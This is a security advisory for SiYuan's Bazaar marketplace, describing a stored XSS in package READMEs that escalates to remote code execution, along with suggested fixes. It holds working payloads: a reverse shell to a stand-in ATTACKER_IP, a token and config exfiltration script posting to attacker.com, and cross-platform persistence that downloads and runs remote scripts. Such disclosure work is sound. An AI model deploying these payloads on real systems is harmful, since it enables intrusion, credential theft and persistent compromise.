Stored XSS to RCE via Unsanitized Bazaar README Rendering

Summary

SiYuan's Bazaar (community marketplace) renders package README content without HTML sanitization. The backend renderREADME function uses lute.New() without calling SetSanitize(true), allowing raw HTML embedded in Markdown to pass through unmodified. The frontend then assigns the rendered HTML to innerHTML without any additional sanitization. A malicious package author can embed arbitrary JavaScript in their README that executes when a user clicks to view the package details. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution.

Affected Component

• README rendering (backend): kernel/bazaar/package.go:635-645 (renderREADME function)
• README rendering (frontend): app/src/config/bazaar.ts:607 (innerHTML assignment)
• Electron config: app/electron/main.js:422-426 (nodeIntegration: true, contextIsolation: false)

Affected Versions

• SiYuan <= 3.5.9

Severity

Critical — CVSS 9.6 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)

• CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)

Note: This vector requires one click (user viewing the package README), unlike the metadata vector which is zero-click.

Vulnerable Code

Backend: kernel/bazaar/package.go:635-645

func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
    luteEngine := lute.New()  // Fresh Lute instance — SetSanitize NOT called
    luteEngine.SetSoftBreak2HardBreak(false)
    luteEngine.SetCodeSyntaxHighlight(false)
    linkBase := "https://cdn.jsdelivr.net/gh/" + ...
    luteEngine.SetLinkBase(linkBase)
    ret = luteEngine.Md2HTML(string(mdData))  // Raw HTML in Markdown is PRESERVED
    return
}

Compare with SiYuan's own note renderer in kernel/util/lute.go:81, which does sanitize:

luteEngine.SetSanitize(true)  // Notes ARE sanitized — but Bazaar README is NOT

This inconsistency demonstrates that the project is aware of the Lute sanitization API but failed to apply it to Bazaar content.

Frontend: app/src/config/bazaar.ts:607

fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
    mdElement.innerHTML = response.data.html;  // Unsanitized HTML injected into DOM
});

The backend returns unsanitized HTML, and the frontend blindly assigns it to innerHTML without any client-side sanitization (e.g., DOMPurify).

Electron: app/electron/main.js:422-426

webPreferences: {
    nodeIntegration: true,
    contextIsolation: false,
    // ...
}

Any JavaScript executing in the renderer has direct access to Node.js APIs.

Proof of Concept

Step 1: Create a malicious README

Create a GitHub repository with a valid SiYuan plugin/theme/template structure. The README.md contains embedded HTML:

# Helpful Productivity Plugin

This plugin helps you organize your notes with smart templates and AI-powered suggestions.

## Features

- Smart template insertion
- AI-powered note organization
- Cross-platform sync

<img src=x onerror="require('child_process').exec('calc.exe')">

## Installation

Install via the SiYuan Bazaar marketplace.

## License

MIT

The raw <img> tag with onerror handler is valid Markdown (HTML passthrough). The Lute engine preserves it because SetSanitize(true) is not called. The frontend renders it via innerHTML, and the broken image triggers onerror, executing calc.exe.

Step 2: Submit to Bazaar

Submit the repository to the SiYuan Bazaar via the standard community contribution process.

Step 3: One-click RCE

When a SiYuan user browses the Bazaar, sees the package listing, and clicks on it to view the README/details, the unsanitized HTML renders in the detail panel. The onerror handler fires, executing arbitrary OS commands.

Escalation: Reverse shell

# Cool Theme for SiYuan

Beautiful dark theme with custom fonts.

<img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"')">

Escalation: Multi-stage payload via README

A more sophisticated attack can hide the payload deeper in the README to avoid casual review:

# Professional Note Templates

A comprehensive collection of note templates for professionals.

## Templates Included

| Category | Count | Description |
|----------|-------|-------------|
| Business | 15 | Meeting notes, project plans |
| Academic | 12 | Research notes, citations |
| Personal | 8 | Journal, habit tracking |

## Screenshots

<!-- Legitimate-looking image reference -->
<picture>
  <source media="(prefers-color-scheme: dark)" srcset="https://attacker.com/dark.png">
  <source media="(prefers-color-scheme: light)" srcset="https://attacker.com/light.png">
  <img src="https://attacker.com/screenshot.png" alt="Template Preview" onload="
    var c = require('child_process');
    var o = require('os');
    var f = require('fs');
    var p = require('path');

    // Exfiltrate sensitive data
    var home = o.homedir();
    var configDir = p.join(home, '.config', 'siyuan');
    var data = {};

    try { data.apiToken = f.readFileSync(p.join(configDir, 'cookie.key'), 'utf8'); } catch(e) {}
    try { data.conf = JSON.parse(f.readFileSync(p.join(configDir, 'conf.json'), 'utf8')); } catch(e) {}
    try { data.hostname = o.hostname(); data.user = o.userInfo().username; data.platform = o.platform(); } catch(e) {}

    // Send to attacker
    var https = require('https');
    var payload = JSON.stringify(data);
    var req = https.request({
      hostname: 'attacker.com', port: 443, path: '/collect', method: 'POST',
      headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
    });
    req.write(payload);
    req.end();

    // Drop persistence
    if (o.platform() === 'win32') {
      c.exec('schtasks /create /tn SiYuanSync /tr \"powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString(\\\"https://attacker.com/stage2.ps1\\\"))\" /sc onlogon /rl highest /f');
    } else {
      c.exec('(crontab -l 2>/dev/null; echo \"@reboot curl -s https://attacker.com/stage2.sh | bash\") | crontab -');
    }
  ">
</picture>

## Changelog

- v1.0.0: Initial release

This payload:

1. Uses onload instead of onerror (fires on successful image load from attacker's server)
2. Exfiltrates SiYuan API token, config, hostname, username, and platform info
3. Installs cross-platform persistence (Windows scheduled task / Linux crontab)
4. Is buried inside a legitimate-looking <picture> element that blends with real README content

Escalation: SVG-based payload (bypasses naive img filtering)

## Architecture

<svg onload="require('child_process').exec('id > /tmp/pwned')">
  <rect width="100" height="100" fill="blue"/>
</svg>

Escalation: Details/summary element (interactive trigger)

## FAQ

<details ontoggle="require('child_process').exec('whoami > /tmp/pwned')" open>
  <summary>How do I install this plugin?</summary>
  Use the SiYuan Bazaar to install.
</details>

The open attribute causes ontoggle to fire immediately without user interaction with the element itself.

Attack Scenario

1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
2. The README contains a well-crafted payload hidden within legitimate-looking content (e.g., inside a <picture> tag, <details> block, or <svg>).
3. Attacker submits the package to the SiYuan Bazaar via the community contribution process.
4. A SiYuan user browses the Bazaar and clicks on the package to view its details/README.
5. The backend renders the README via renderREADME() without sanitization.
6. The frontend assigns the HTML to innerHTML.
7. The injected JavaScript executes with full Node.js access.
8. The attacker achieves RCE — reverse shell, data theft, persistence, etc.

Impact

• Full remote code execution on any SiYuan desktop user who views the malicious package README
• One-click — triggered by viewing package details in the Bazaar
• Supply-chain attack via the official SiYuan community marketplace
• Payloads can be deeply hidden in legitimate-looking README content, making code review difficult
• Can steal API tokens, SiYuan configuration, SSH keys, browser credentials, and arbitrary files
• Can install persistent backdoors across Windows, macOS, and Linux
• Multiple HTML elements can carry payloads (img, svg, details, picture, video, audio, iframe, object, embed, math, etc.)
• Affects all platforms: Windows, macOS, Linux

Suggested Fix

1. Enable Lute sanitization for README rendering (package.go)

func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
    luteEngine := lute.New()
    luteEngine.SetSanitize(true)  // ADD THIS — matches note renderer behavior
    luteEngine.SetSoftBreak2HardBreak(false)
    luteEngine.SetCodeSyntaxHighlight(false)
    linkBase := "https://cdn.jsdelivr.net/gh/" + ...
    luteEngine.SetLinkBase(linkBase)
    ret = luteEngine.Md2HTML(string(mdData))
    return
}

2. Add client-side sanitization as defense-in-depth (bazaar.ts)

import DOMPurify from 'dompurify';

fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
    mdElement.innerHTML = DOMPurify.sanitize(response.data.html);
});

3. Long-term: Harden Electron configuration

webPreferences: {
    nodeIntegration: false,
    contextIsolation: true,
    sandbox: true,
}